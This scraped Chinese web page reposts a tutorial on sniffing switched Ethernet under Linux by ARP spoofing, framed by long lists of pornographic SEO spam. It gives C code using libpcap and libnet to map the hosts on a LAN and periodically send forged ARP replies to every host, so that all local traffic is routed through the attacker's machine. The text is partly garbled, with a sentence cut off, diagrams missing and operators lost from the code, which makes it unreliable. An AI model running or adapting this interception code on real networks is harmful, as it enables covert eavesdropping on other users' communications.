亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 網絡通信 > 正文

交換型網絡環境嗅探原理及LINUX下的實現

2019-11-05 01:53:36
字體:
來源:轉載
供稿:網友

  1. 以太網嗅探原理
  
  以太網環境下的嗅探本身是比較簡單的,只要網卡能設置成混雜模式且有數據包到達網卡,則可用多種方法捕捉數據包并進行各種協議分析。在linux下可用RAW套接字,SOCK_PACKET套接字, LIBPCAP函數包等方法捕捉數據包,典型的應用程序如TCPDUMP, LINUX_SNIFFER等。
  
  在共享型以太網中,上述兩個條件顯然是滿足的。所有的主機都連接到HUB,而HUB對數據包傳輸形式是廣播。這意味著發給某個主機的數據包也會被其它所有主機的網卡所收到。因此在這樣的環境中,任何設置成混雜模式的主機,都可以捕捉發送給其它主機的數據包,從而竊聽網絡上的所有通信。
  
  在交換型以太網中,上述條件2是不滿足的。所有的主機連接到SWITCH,SWITCH比HUB更聰明,它知道每臺計算機的MAC地址信息和與之相連的特定端口,發給某個主機的數據包會被SWITCH從特定的端口送出,而不是象HUB那樣,廣播給網絡上所有的機器。這種傳輸形式使交換型以太網的性能大大提高,同時還有一個附加的作用:使傳統的嗅探器無法工作。
  
  綜上所述,交換型網絡環境嗅探的核心問題是:如何使本不應到達的數據包到達本地。通常的方法有MAC洪水包和ARP欺騙。其中MAC洪水包是向交換機發送大量含有虛構MAC地址和  
  2. 相關協議數據包格式
  
  以太數據包格式:
   
  類型0800 :IP數據包
  類型0806 :ARP數據包
  ARP數據包格式:
   
  ARP數據包簡化格式
  為了論述的簡潔性,我們把ARP數據包格式做一些簡化。 目的端MAC地址 源MAC地址 ARP包類型 發送端MAC地址 發送端IP地址 目的端MAC地址 目的端IP地址
  
  3. 實驗環境
  
  為了更清楚的描述交換網絡的嗅探原理,我們建立一個虛構的交換網絡環境, 在下面的論述中將用到這些數據.
   
  4. ARP協議原理
  
  在以太網中傳輸的數據包是以太包,而以太包的尋址是依據其首部的物理地址(MAC地址)。僅僅知道某主機的邏輯地址(IP地址)并不能讓內核發送一幀數據給此主機,內核必須知道目的主機的物理地址才能發送數據。ARP協議的作用就是在于把邏輯地址變換成物理地址,也既是把32bit的IP地址變換成48bit的以太地址。
  
  每一個主機都有一個ARP高速緩存,此緩存中記錄了最近一段時間內其它IP地址與其MAC地址的對應關系。假如本機想與某臺主機通信,則首先在ARP高速緩存中查找此臺主機的IP和MAC信息,假如存在,則直接利用此MAC地址構造以太包;假如不存在,則向本網絡上每一個主機廣播一個ARP請求包,其意義是"假如你有此IP地址,請告訴我你的MAC地址",目的主機收到此請求包后,發送一個ARP響應包,本機收到此響應包后,把相關信息記錄在ARP高速緩存中,以下的步驟同上。
  
  可以看出,ARP協議是有缺點的,第三方主機可以構造一個ARP欺騙包,而源主機卻無法分辨真假。
  
  5. ARP欺騙原理
  
  假設B(2.2.2.2)要與A(1.1.1.1)通信,且B的ARP高速緩存中沒有關于A的MAC信息,則B發出ARP請求包。
   
  此時,B的ARP高速緩存中關于A的記錄為(1.1.1.1 <-- --> 04:04:04),則B向A發IP包實際上是發到我的主機(4.4.4.4,04:04:04)。同理,假如我進一步欺騙A,讓A的ARP高速緩存中關于B的記錄為(2.2.2.2 <-- --> 04:04:04), 則A向B發IP包實際上也是發到我的主機(4.4.4.4,04:04:04)。最后,我讓本機打開數據包轉發,也既是充當路由器,則A,B之間能正常通信,但我能全部捕捉到相關數據。
  
  以上討論的是欺騙兩臺主機,假如我能讓局域網中每一臺主機的ARP高速緩存中關于其它任意一個主機所對應的MAC地址都為我的MAC地址(04:04:04:04),則本局域網中所有數據包我都能捕捉到!
  
  6. 程序設計思路
  
  使用到的函數包
  libpcap : 捕捉ARP數據包。
  libnet : 獲得本機的MAC地址和IP地址;構造和發送ARP欺騙包。
  這兩個的函數包的使用在網上資料很多,本文中不介紹。
  
  主要數據結構
  程序中有兩個全局變量,MYIP代表本機的IP地址,MYMAC代表本機的MAC地址。
  程序中維護一個存放主機信息的鏈表:
  
  
  typedef strUCt host HOST;
  struct host
  {
   unsigned long ip;       // IP地址
   unsigned char mac[6];     // MAC地址
  int mac_flag;  // 0:MAC為空,1:MAC不為空
   HOST * next;
  };
  
  
  
  
  把握本局域網中每一臺主機的IP地址和MAC地址信息。
  利用libpcap捕捉網絡中的ARP請求/應答包,最大限度的提取相關信息。如在第五節中的B對A的ARP請求包,我們可以提取出關于B的完整信息(2.2.2.2,02:02:02),也獲得了關于A的部分信息(1.1.1.1,null)。在知道網絡中有主機A的情況下,我們可以構造并發送對A的ARP請求包,捕捉A的ARP應答包,從而完整把握A的信息。同理,我們也可以捕捉TCP/UDP等數據包,從中提取信息。
  創建一個向鏈表增加主機信息的函數:add_host(ip,mac), 每收到一個ARP請求/應答包,都執行add_host( )兩次:add_host(發送端IP,發送端MAC),add_host(目的端IP,目的端MAC)。
  在收到ARP應答包時,首先檢查發送端的IP和MAC,假如IP不是自己的,但MAC是自己的,則說明此應答包是本機構造的ARP欺騙包,程序忽略。
  對于正常的ARP請求包和應答包,add_host(ip, mac )中IP或MAC只要有一個是自己的(ip == MYIP mac ==MYMAC),則程序忽略。顯然,沒有必要自己欺騙自己。
  add_host(ip,mac)遍歷主機鏈表,假如IP存在,且MAC不空,則把MAC地址寫入;假如不存在,則增加一個HOST節點,寫入IP地址,假如MAC不空,則也把MAC地址寫入。 注重到這樣一個情況:在ARP請求包中,目的MAC地址是沒有意義的,所以我們只寫入IP地址,而MAC地址用NULL來表示。這是我們收集網絡拓樸結構的一種被動方法。
  
  函數add_host( )邏輯設計MYIP = IP(d),MYMAC = MAC(d)
  
  代碼如下:
  
  
  void add_host(u_long ip, u_char * mac)
  {
   HOST * new = NULL;
   HOST * cur = NULL;
  
   if( (ip == MYIP) (mac && mac_equal(mac, MYMAC)) )
   return;
  
   //遍歷鏈表查詢IP地址
   for(cur = head; cur; cur = cur->next)
   {
   if( ip == cur->ip )
   {
   if( mac ) // MAC地址不空,則寫入
   {
   memcpy(cur->mac, mac, ETHER_ADDR_LEN);
   cur->mac_flag = 1;
   }
   return;
   }
   }
   if(cur == NULL) // 鏈表中沒有此IP地址
   {
   new = (HOST *)malloc(sizeof(HOST));
   new->ip = ip;
   if( mac )
   {
   memcpy(new->mac, mac, ETHER_ADDR_LEN);
   new->mac_flag = 1;
   }
   else
   new->mac_flag = 0;
   new->next = NULL;
   if(! head)   // 把新節點加入鏈表
   {
   head = new;
   tail = new;
   }
   else
   {
   tail->next = new;
   tail = new;
   } 
   }
   return;
  }
  
  
  
  
  周期性的向局域網中每一臺主機發送ARP欺騙包。
  創建一個發送ARP欺騙包的函數send_fake_arp_packet(),遍歷主機鏈表的每一個IP地址,假如此IP地址的MAC地址已知,則遍歷主機鏈表中其它IP地址,以其它IP地址和本機的MAC地址為發送端,以選中的IP地址和MAC地址為目的端,構造并發送ARP應答欺騙包;假如此IP地址的MAC地址未知,則以本機IP地址和MAC地址為發送端,以選中的IP地址為目的端,構造并發送正常的ARP請求包。注重,這是我們收集網絡拓樸結構的一種主動方法。
  ARP高速緩存中的記錄都有過期時間,不同的
操作系統有不同的設置.在實施中,我們只需以較短的時間周期性的發ARP欺騙包,則可解決這個問題.
  代碼如下:
  
  
   void send_fake_arp_packet()
  {
   HOST * temp, * cur;
   u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  
  for(cur = head; cur ; cur = cur->next)
   {
  
  if( cur->mac_flag == 0) 
  {
  // 構造ARP請求包請求此IP地址的MAC地址
   libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
   libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
   MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
   if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
   errexit("libnet_write_link_layer error/n");
  
   continue;
   }
   for(temp = head; temp; temp = temp->next)
   {
   if (temp == cur)
   continue;
  
   libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
   libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
   MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packet + LIBNET_ETH_H));
   if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
   errexit("libnet_write_link_layer error/n");
   }
   }
  }
  
  
  
  正確處理一個以太包實際被捕捉兩次的情況。例如:捕捉到B發向A的以太包,第一次為(2.2.2.2,02:02:02)->(1.1.1.1,04:04:04),第二次為(2.2.2.2,04:04:04)->(1.1.1.1,01:01:01)。區分這兩次捕捉的規則很簡單:目標IP 不為本IP且目標MAC為本MAC就是第一次;源IP不為本IP且源MAC為本MAC就是第二次。在實際處理中,可任取一種包并把源/目的MAC改寫,對另一種包忽略即可。
  7. 相關說明
  
  這種ARP欺騙是以主機的ARP高速緩存可以動態改變為前提的,假如ARP高速緩存中某一IP的MAC地址被設為靜態(static),則對關于此IP的欺騙是顯然不成立的。
  為了盡快的把握網絡中主機的地址信息,應至少對ARP請求包和ARP應答包都處理。假如只處理ARP請求包,則在此刻只能把握發端主機的信息,并只能欺騙發端主機。在實際的IP包捕捉中,就會看到單邊數據包。當然,在程序運行一段時間后,所有主機信息也能全部把握,但效率顯然是不高的。假如再加上對未知MAC的IP的主動請求,則捕捉所有數據包可在較短時間內完成。(在實際的C類網中測試,不到一分鐘)


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
日韩av大片在线| 欧美日韩视频免费播放| 精品调教chinesegay| 国产精品热视频| 韩国v欧美v日本v亚洲| 日韩成人性视频| 亚洲第一福利网站| 在线成人中文字幕| 91中文字幕在线观看| 欧美黑人xxxx| 久久久久久久成人| 久久久久久久av| 在线观看亚洲区| 欧美日韩国产中文字幕| 精品国产电影一区| 精品国产成人av| 不卡av日日日| 日韩欧美国产激情| 九九精品在线视频| 国产亚洲精品久久久久久777| 91精品国产91久久久久久吃药| 国产做受高潮69| 91香蕉嫩草神马影院在线观看| 色香阁99久久精品久久久| 久久777国产线看观看精品| 在线播放日韩专区| 亚洲午夜国产成人av电影男同| 亚洲精品久久久久中文字幕二区| 国产精品美女www爽爽爽视频| www国产亚洲精品久久网站| 久久精品这里热有精品| 日韩免费看的电影电视剧大全| 亚洲欧美三级伦理| 91精品久久久久久| 国产精品福利小视频| 精品亚洲一区二区三区在线观看| 久久人人爽人人爽人人片av高清| 国产精品网站入口| 国产精品成av人在线视午夜片| 亚洲人成电影网站色…| www.99久久热国产日韩欧美.com| 久久久久久成人精品| 欧美性猛交xxxx乱大交3| 欧美日韩亚洲91| 欧洲精品在线视频| 国产精品欧美激情在线播放| 国产a∨精品一区二区三区不卡| 美女999久久久精品视频| 欧美裸体男粗大视频在线观看| 久久久亚洲天堂| 久热99视频在线观看| 高跟丝袜一区二区三区| 国产精品爽爽爽爽爽爽在线观看| 成人美女免费网站视频| 国产精品一区二区av影院萌芽| 亚洲欧美激情四射在线日| 亚洲国产日韩欧美在线图片| 日韩成人免费视频| 国产亚洲激情在线| 国产91在线高潮白浆在线观看| 欧美日韩免费区域视频在线观看| 亚洲欧洲第一视频| 亚洲国产精品久久久久久| 欧美中文在线观看国产| 九九热这里只有精品6| 国产精品中文字幕久久久| 成人黄色片网站| 亚洲国产精品高清久久久| 国语自产在线不卡| 亚洲精品免费av| 亚洲第一精品福利| 国产精品爽爽ⅴa在线观看| 欧美激情xxxx性bbbb| 日韩免费视频在线观看| 国产精品av免费在线观看| 九九九久久国产免费| 欧美巨猛xxxx猛交黑人97人| 亚洲欧美一区二区精品久久久| 在线播放日韩欧美| 欧美国产欧美亚洲国产日韩mv天天看完整| 亚洲免费精彩视频| 欧美高清在线观看| 亚洲天堂成人在线视频| 欧美一区二三区| 欧美日韩免费网站| 欧美极品少妇全裸体| 久久久久久久久久久91| 国产精品福利在线| 亚洲高清免费观看高清完整版| 欧美成人亚洲成人日韩成人| 青青久久av北条麻妃海外网| 午夜精品美女自拍福到在线| 国产精品久久一区| 一区二区欧美日韩视频| 国产精品69久久久久| 日本欧美精品在线| 日韩美女免费线视频| 亚洲色图偷窥自拍| 国产视频亚洲视频| 亚洲人a成www在线影院| 欧美精品videosex性欧美| 91超碰中文字幕久久精品| 亚洲国产精品人人爽夜夜爽| 欧美乱大交做爰xxxⅹ性3| 成人av电影天堂| 国产偷亚洲偷欧美偷精品| 国产欧美在线看| 欧美精品在线看| 成人观看高清在线观看免费| 中文字幕视频在线免费欧美日韩综合在线看| 日韩精品亚洲元码| 在线播放日韩精品| 亚洲日本中文字幕| 日韩中文字幕欧美| 日韩久久午夜影院| 国产日韩欧美中文在线播放| 97在线看免费观看视频在线观看| 精品视频偷偷看在线观看| 日韩精品在线观看视频| 日韩欧美中文在线| 精品女厕一区二区三区| 欧美老女人在线视频| 欧美寡妇偷汉性猛交| 日本欧美爱爱爱| 欧美大码xxxx| 俺去了亚洲欧美日韩| 欧美人与物videos| 久久99热精品这里久久精品| 久久免费少妇高潮久久精品99| 亚洲片在线资源| 日韩视频免费看| 久久91亚洲精品中文字幕奶水| 2021国产精品视频| 成人激情电影一区二区| 欧美激情中文字幕乱码免费| 国产精品一区二区av影院萌芽| 成人激情电影一区二区| 亚洲直播在线一区| 精品久久久精品| 在线观看精品国产视频| 久久精品国产一区二区三区| 亚洲综合国产精品| 国产精品丝袜一区二区三区| 日韩三级影视基地| 亚洲综合av影视| 欧美有码在线观看| 国产欧美va欧美va香蕉在线| xxx一区二区| 午夜精品一区二区三区在线播放| 91chinesevideo永久地址| 91日韩在线播放| 国产在线观看精品一区二区三区| 正在播放欧美视频| 欧美老少配视频| 亚洲欧洲高清在线| 色偷偷亚洲男人天堂| 国产精品久久久久久久久久新婚| 亚洲国产小视频在线观看| 国产欧美精品在线| 高清欧美性猛交| 亚洲欧美制服中文字幕| 欧美日韩国产精品| 亚洲最大福利网| 亚洲人成电影网站色xx|